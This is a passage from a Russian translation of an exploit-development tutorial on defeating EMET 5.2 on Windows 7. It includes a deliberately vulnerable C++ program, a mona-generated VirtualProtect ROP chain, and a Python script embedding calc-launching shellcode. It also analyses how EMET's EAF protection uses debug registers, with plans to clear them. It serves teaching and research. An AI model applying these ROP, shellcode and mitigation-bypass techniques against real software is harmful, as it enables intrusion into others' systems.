R0 CREW

Exploit Development Course Part 12: EMET 5.2 (Перевод: Prosper-H)

ru
#1

Перейти к содержанию

Введение

EMET расшифровывается как Enhanced Mitigation Experience Toolkit (загрузить). На момент написания статьи, последней версией, была версия 5.2.

Как и раньше будем работать с Windows 7 SP1 64-bit.

Предупреждение

EMET 5.2 может конфликтовать с некоторыми фаерволами и антивирусами. Например, я потратил кучу времени пытаясь понять, почему EMET обнаруживает попытки атаки, там, где их не было. В итоге, оказалось, что конфликт вызывал Comodo Firewall. Поэтому я полностью удалил EMET.

Хороших фаерволов не так много, поэтому я оставил Comodo Firewall в покое и решил работать на виртуальной машине (я использую VirtualBox).

Техники защиты

Как и предполагает имя, EMET пытается смягчить последствия от использования эксплойтов. Это достигается реализацией следующих защит:

  1. Data Execution Prevention (DEP)
    Останавливает выполнение инструкций, если они располагаются в памяти, которая помечена как не исполняемая.
  2. Structured Exception Handler Overwrite Protection (SEHOP)
    Предотвращает методы эксплуатации, которые нацелены на перезапись SEH (Structured Exception Handler).
  3. Null Page Protection (NullPage)
    Предварительно выделяет память под Null Page, чтобы предотвратить её использование в вредоносных целях.
  4. Heap Spray Protection (HeapSpray)
    Предварительно выделяет области памяти, которые часто используются атакующими для вредоносного кода.
    (Например, 0x0a040a04; 0x0a0a0a0a; 0x0b0b0b0b; 0x0c0c0c0c; 0x0d0d0d0d; 0x0e0e0e0e; 0x04040404; 0x05050505; 0x06060606; 0x07070707; 0x08080808; 0x09090909; 0x20202020; 0x14141414)
  5. Export Address Table Access Filtering (EAF)
    Регулирует доступ к таблице экспорта (EAT, Export Address Table) исходя из вызывающего кода.
  6. Export Address Table Access Filtering Plus (EAF+)
    Блокирует попытки чтения таблиц импорта и экспорта из модулей, которые обычно используются для исследования памяти во время эксплуатации уязвимостей, котоые связанны с повреждением памяти.
  7. Mandatory Address Space Layout Randomization (MandatoryASLR)
    Рандомизирует расположение модулей в памяти, ограничивая возможность атакующего ссылаться на заранее предопределенные адреса в памяти.
  8. Bottom-Up Address Space Layout Randomization (BottomUpASLR)
    Улучшает технику MandatoryASRL путем рандомизации базового адреса в bottom-up allocations.
  9. Load Library Protection (LoadLib)
    Блокирует загрузку модулей через UNC-пути (например, \evilsite\bad.dll), распространенная техника в ROP (Return Oriented Programming) атаках.
  10. Memory Protection (MemProt)
    Отключает возможность пометки региона памяти, как исполняемой, если она находится в стеке. Так же распространена среди ROP-атак.
  11. ROP Caller Check (Caller)
    Останавливает выполнение критических функций, если переход на их код был осуществлен через RET-инструкцию, общий метод среди ROP-атак.
  12. ROP Simulate Execution Flow (SimExecFlow)
    Воспроизводит поток выполнения команд, которые следуют после выполнения адреса возврата, пытаясь таким образом обнаружить ROP-атаки.
  13. Stack Pivot (StackPivot)
    Проверяет, был ли изменен указатель стека, на регион памяти, который контролирует атакующий, распространенная техника среди ROP-атак.
  14. Attack Surface Reduction (ASR)
    Препятствует загрузке некоторых, заданных модулей из адресного пространства защищенного процесса. Звучит довольно пугающе, не так ли? Но давайте не будем преждевременно поддаваться страху.

Программа

Исследовать EMET лучше всего на своих собственных, маленьких C/C++ приложениях. Мы будем использовать exploitme3.cpp (из статьи), но с небольшими изменениями:

#include <cstdio>
 
_declspec(noinline) int f() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\deleteme\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
 
int main() {
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;
 
    return f();
}

Стековая переменная moreStack даст нам больше пространства на стеке. Не забывайте, что стек растет с верху в низ, в то время как fread пишет по адресам с низу в верх. Без этого дополнительного пространства на стеке, fread может достигнут конца стека и вызвать сбой в программе.

Цикл в функции main необходим по той причине, что без него оптимизация удалит переменную moreStack из кода. Кроме того, если функция f будет встраиваемой (inlined), то массив name будет может быть размещен до moreStack, что противоречит нашей цели. Чтобы избежать это, нам нужно использовать _declspec(noinline).

Как и делали раньше, нам нужно отключить Stack Cookies, но DEP оставить включенным. Для этого перейдите в настройки проекта “Project => Properties” и измените конфигурацию для Release, как показано ниже:

  • Configuration Properties => C/C++ => Code Generation => Security Check: Disable Security Check (/GS-)

Убедитесь что DEP включен:

  • Configuration Properties => Linker => Advanced => Data Execution Prevention (DEP): Yes (/NXCOMPAT)

Некоторые соображения насчет ASLR

Мы знаем, что для победы над ASLR нужно иметь какую-нибудь утечку (info leak) и в следующих двух частях мы разработаем эксплойты для Internet Explorer 10 и 11 с включенной поддержкой ASLR, но сейчас, давайте проигнорируем ASLR и сконцентрируемся на DEP и ROP.

Наш exploitme3 использует библиотеку msvcr120.dll. К сожалению, при каждой загрузке программы, библиотека загружается по разным адресам. Мы могли бы построить ROP-цепочку из системных библиотек (kernel32.dll, ntdll.dll, etc), но в этом мало смысла. Мы сделали многое, чтобы создать надежный шеллкод, который получает нужные нам адреса API-функций через таблицу экспорта (EAT, Export Address Tables). Если бы мы жестко задали адреса гаджетов, взятые из kernel32.dll и ntdll.dll, тогда был бы смысл задать таким же образом и адреса API-функций.

Итак, правильным решением будет использование гаджетов из msvcr120.dll. К сожалению, если адрес kernel32.dll и ntdll.dll изменяется только при перезагрузке Windows, то адрес msvcr120.dll меняется при каждом перезапуске expoitme3.

Разница между этими двумя поведениями связана с тем, что когда exploitme3 запускается, библиотеки kernel32.dll и ntdll.dll уже загружены в память, в то время как msvcr120.dll еще нет. Одним из решений этой проблемы является использование такой программы:

#include <stdio.h>
#include <conio.h>
 
int main() {
    printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120"));
    printf("--- press any key ---\n");
    _getch();
    return 0;
}

До тех пор, пока мы не завершим эту программу, базовый адрес msvcr120.dll не изменится. Когда мы запустим expoitme3, Windows увидит, что msvcr120.dll уже загружена в память, и просто спроецирует (map) её на адресное пространство exploitme3. Более того, msvcr120.dll будет спроецирована по тому же адресу, потому что она содержит зависимый код (position-dependent code), который не будет работать если разместить его по другому адресу.

Initial Exploit

Откройте EMET и нажмите на кнопку Apps:

Теперь нажмите на Add Applications и выберите exploitme3.exe:

Вы должны видеть, что exploitme3 был добавлен к списку:

Теперь давайте отключим EAF, LoadLib, MemProt, Caller, SimExecFlow и StackPivot:

Нажмите ОК для сохранения настроек.

Теперь давайте загрузим exmpoitme3.exe в WinDbg (статья) и используем mona (статья) для генерации ROP-цепочки для VirtualProtect:

.load pykd.pyd
!py mona rop -m msvcr120

Вот ROP-цепочка, которая была найдена в файле rop_chains.txt, который был создан mona:

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
    0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
    0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
    0x00000201,  # 0x00000201-> ebx
    0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
    0x00000040,  # 0x00000040-> edx
    0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
    0x705658f2,  # &Writable location [MSVCR120.dll]
    0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
    0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
    0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
    0x70493a17,  # JMP [EAX] [MSVCR120.dll]
    0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
    0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
    0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
    0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

Как работает эта ROP-цепочка, мы видели в статье Exploitme3 (DEP), поэтому не будем повторяться. Из той же статьи возьмем скрипт для генерации файла name.dat и будем изменять его по мере необходимости. Это начальная версия:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        code_size = len(shellcode)
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
        f.write(name)

write_file(r'c:\deleteme\name.dat')

Обратите внимание на то, что вам нужно присвоить правильное значение переменной msvcr120. Так же не забудьте запустить и оставлять работающей ту маленькую программу, которая не дает библиотеке msvcr120.dll менять свой базовый адрес. Эта же программа так же сообщает нам текущий базовый адрес msvcr120.dll.

Теперь запустите exploitme3.exe и вы увидите, как запустится калькулятор!

EAF

Теперь давайте активируем EAF защиту для exploitme3 программы и запустим её снова. На этот раз EMET обнаружит наш эксплойт и закроет exploitme3. В официальном описании к EAF говорится, что оно:

регулирует доступ к таблице экспорта (EAT, Export Address Table) исходя из вызывающего кода.

Примечание: перед отладкой exploitme3.exe, убедитесь, что в той же папке, где лежит эта программа, есть файл exploitme3.pdb, который содержит отладочную информацию.

Давайте откроем exploitme3 в WinDbg (Ctrl+E) и поставим брейкпоинт на main:

bp exploitme3!main

Когда нажмем F5 (go), получим странное исключение:

(f74.c20): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8
eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000287
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2            add     eax,edx

Вот код:

76ec018e ff7618          push    dword ptr [esi+18h]
76ec0191 ff75e0          push    dword ptr [ebp-20h]
76ec0194 e819020000      call    ntdll!LdrpNameToOrdinal (76ec03b2)
76ec0199 8b55d8          mov     edx,dword ptr [ebp-28h]
76ec019c 0fb7c0          movzx   eax,ax
76ec019f 0fb7c8          movzx   ecx,ax
76ec01a2 3b4e14          cmp     ecx,dword ptr [esi+14h]
76ec01a5 0f83b6f60000    jae     ntdll!LdrpSnapThunk+0x12b (76ecf861)
76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception
76ec01ae 03c2            add     eax,edx       <--------------------- we're here!
76ec01b0 8d0c88          lea     ecx,[eax+ecx*4]
76ec01b3 8b01            mov     eax,dword ptr [ecx]
76ec01b5 03c2            add     eax,edx
76ec01b7 8b7d14          mov     edi,dword ptr [ebp+14h]
76ec01ba 8907            mov     dword ptr [edi],eax
76ec01bc 3bc6            cmp     eax,esi
76ec01be 0f87ca990000    ja      ntdll!LdrpSnapThunk+0x1d7 (76ec9b8e)
76ec01c4 833900          cmp     dword ptr [ecx],0

Single Step Exception это отладочное исключение. Вероятно, это исключение было сгенерировано кодом из предыдущей строки.

76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception

Давайте посмотрим на что указывает ESI:

0:000> ln @esi
(7645ff70)   kernel32!$$VProc_ImageExportDirectory   |  (76480000)   kernel32!BasepAllowResourceConversion
Exact matches:
    kernel32!$$VProc_ImageExportDirectory = <no type information>

Кажется, ESI указывает на таблицу экспорта (EAT) из kernel32! Мы можем подтвердить, что ESI действительно указывает на Export Directory (другое имя EAT), следующим образом:

0:000> !dh kernel32

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
53159A85 time date stamp Tue Mar 04 10:19:01 2014

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   D0000 size of code
   30000 size of initialized data
       0 size of uninitialized data
   13293 address of entry point
   10000 base of code
         ----- new -----
763a0000 image base
   10000 section alignment
   10000 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
  110000 size of image
   10000 size of headers
  1105AE checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   BFF70 [    A9B1] address  of Export Directory      <----------------------------------
   CA924 [     1F4] address  of Import Directory
   F0000 [     528] address  of Resource Directory
       0 [       0] address  of Exception Directory
       0 [       0] address  of Security Directory
  100000 [    AD9C] address  of Base Relocation Directory
   D0734 [      38] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
   83510 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
   10000 [     DF0] address  of Import Address Table Directory
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory


SECTION HEADER #1
   .text name
   C0796 virtual size
   10000 virtual address
   D0000 size of raw data
   10000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read


Debug Directories(2)
  Type       Size     Address  Pointer
  cv           26       d0770    d0770    Format: RSDS, guid, 2, wkernel32.pdb
  (    10)       4       d076c    d076c

SECTION HEADER #2
   .data name
    100C virtual size
   E0000 virtual address
   10000 size of raw data
   E0000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write

SECTION HEADER #3
   .rsrc name
     528 virtual size
   F0000 virtual address
   10000 size of raw data
   F0000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #4
  .reloc name
    AD9C virtual size
  100000 virtual address
   10000 size of raw data
  100000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

Мы видим, что ESI и правда указывает на Export Directory:

0:000> ? @esi == kernel32 + bff70
Evaluate expression: 1 = 00000001            (1 means True)

Инструкция, которая вызвала исключение, обратилась к Export Dicrectory по смещению 0x1C. Посмотрим, на что указывает это смещение, открыв файл winnt.h:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;          // 0
    DWORD   TimeDateStamp;            // 4
    WORD    MajorVersion;             // 8
    WORD    MinorVersion;             // 0xa
    DWORD   Name;                     // 0xc
    DWORD   Base;                     // 0x10
    DWORD   NumberOfFunctions;        // 0x14
    DWORD   NumberOfNames;            // 0x18    
    DWORD   AddressOfFunctions;       // 0x1c   <----------------------
    DWORD   AddressOfNames;           // 0x20
    DWORD   AddressOfNameOrdinals;    // 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

В статье Shellcode мы узнали, что AddressOfFunctions это указатель на массив, который содержит адреса экспортируемых функций.

Если посмотреть на стек (stack trace), увидим, что код был вызван из функции GetProcAddress:

0:000> k 10
ChildEBP RetAddr  
003ef290 76ec032a ntdll!LdrpSnapThunk+0x1c1
003ef34c 76ec0202 ntdll!LdrGetProcedureAddressEx+0x1ca
003ef368 76261e59 ntdll!LdrGetProcedureAddress+0x18
003ef390 73c8d45e KERNELBASE!GetProcAddress+0x44      <------------------------
003ef3a4 73c8ca0d MSVCR120!__crtLoadWinApiPointers+0x1d [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 752]
003ef3a8 73c8ca91 MSVCR120!_mtinit+0x5 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 97]
003ef3d8 73c71a5f MSVCR120!__CRTDLL_INIT+0x2f [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 235]
003ef3ec 76ec99a0 MSVCR120!_CRTDLL_INIT+0x1c [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 214]
003ef40c 76ecd939 ntdll!LdrpCallInitRoutine+0x14
003ef500 76ed686c ntdll!LdrpRunInitializeRoutines+0x26f
003ef680 76ed5326 ntdll!LdrpInitializeProcess+0x1400
003ef6d0 76ec9ef9 ntdll!_LdrpInitialize+0x78
003ef6e0 00000000 ntdll!LdrInitializeThunk+0x10

Это первый раз, когда мы видим такое исключение, оно должно исходить от EMET. Похоже, что при активированной технике EAF, EMET перехватывает любые обращения к AddressOfFunctions. Как он это делает?

Для этой цели, в WinDbg мы могли бы использовать такую команду как ba, которая полагается на аппаратные брейкпойнты (hardware breakpoint), поэтому EMET должен использовать этот же метод. Давайте посмотрим на отладочные регистры (debug registers):

0:000> rM 20
dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2            add     eax,edx

(Если вы не знаете, что делает команда, смотрите справку к ней, с помощью .hh)

Значение в регистре DR1 кажется знакомым:

0:000> ? @dr1 == esi+1c
Evaluate expression: 1 = 00000001

Идеальное совпадение!

Debug Registers

Будем честными: нет никакой необходимости изучать формат отладочных регистров. Очевидно, что в нашем случае DR0, DR1 и DR2 содержат адреса, куда установлены аппаратные брейкпойнты. Давайте посмотрим, на что они указывают (на DR1 мы уже смотрели ранее):

0:000> ln dr0
(76ea01e8)   ntdll!$$VProc_ImageExportDirectory+0x1c   |  (76eaf8a0)   ntdll!NtMapUserPhysicalPagesScatter
0:000> ln dr1
(7645ff70)   kernel32!$$VProc_ImageExportDirectory+0x1c   |  (76480000)   kernel32!BasepAllowResourceConversion
0:000> ln dr2
(76288cb0)   KERNELBASE!_NULL_IMPORT_DESCRIPTOR+0x2bac   |  (76291000)   KERNELBASE!KernelBaseGlobalData

Первые два указывают на Export Directories из ntdll и kernel32, тогда как третий выглядит иначе. Посмотрим:

0:000> !dh kernelbase

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
53159A86 time date stamp Tue Mar 04 10:19:02 2014

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   3F800 size of code
    4400 size of initialized data
       0 size of uninitialized data
    74C1 address of entry point
    1000 base of code
         ----- new -----
76250000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
   47000 size of image
     400 size of headers
   49E52 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   3B840 [    4F19] address  of Export Directory        <-------------------------
   38C9C [      28] address  of Import Directory
   43000 [     530] address  of Resource Directory
       0 [       0] address  of Exception Directory
       0 [       0] address  of Security Directory
   44000 [    25F0] address  of Base Relocation Directory
    1660 [      1C] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
    69D0 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
    1000 [     654] address  of Import Address Table Directory
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory


SECTION HEADER #1
   .text name
   3F759 virtual size
    1000 virtual address
   3F800 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read


Debug Directories(1)
  Type       Size     Address  Pointer
  cv           28        6a18     5e18    Format: RSDS, guid, 1, wkernelbase.pdb

SECTION HEADER #2
   .data name
    11E8 virtual size
   41000 virtual address
     400 size of raw data
   3FC00 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write

SECTION HEADER #3
   .rsrc name
     530 virtual size
   43000 virtual address
     600 size of raw data
   40000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #4
  .reloc name
    2A18 virtual size
   44000 virtual address
    2C00 size of raw data
   40600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only
0:000> ? kernelbase+3B840+1c
Evaluate expression: 1982380124 = 7628b85c    <----------------------
0:000> ? @dr2
Evaluate expression: 1982380124 = 7628b85c    <----------------------

Ложная тревога: DR2 указывает на Export Directory из KERNELBASE!

В любом случае, исключительно ради нашего любопытства, давайте посмотрим в Intel Manuals (3B). Вот формат отладочных регистров:

Предельно ясно, что регистры DR0, DR1, DR2 и DR3 определяют адреса брейкпойнтов. Регистр DR6 является регистром состояния, которые хранит информацию о последнем отладочном исключении, тогда как DR7 содержит настройки для 4 брейкпойнтов. Если вам интересны детали, обращайтесь к руководству от Intel самостоятельно.

Все что мы должны знать, это то, как отключить аппаратные брейкпойнты. Для этого нужно просто очистить отладочные регистры. И действительно, если вы загрузите exploitme3.exe в WinDbg и посмотрите на эти регистры до того, как EMET их изменит, вы увидите следующее:

0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc              int     3

Очистка отладочных регистров (1)

Очистка отладочных регистров должна быть довольно простым делом, не так ли? Давайте пробуем!

Мы можем поместить код для очистки этих регистров прямо перед нашим шеллкодом, так что бы он мог безнаказанно получить доступ к Export Directories.

Для генерации машинного кода, можно использовать asm-вставки в Visual Studio. После компиляции запустите программу на отладку и перейдите в окно Дизассемблера (Go to the Disassembly), для этого нажмите правой кнопкой мыши на ассемблерной инструкции. Теперь, из этого окна, мы можем взять и скопировать код в PyCharm и немного отредактировать его.

Вот результат:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
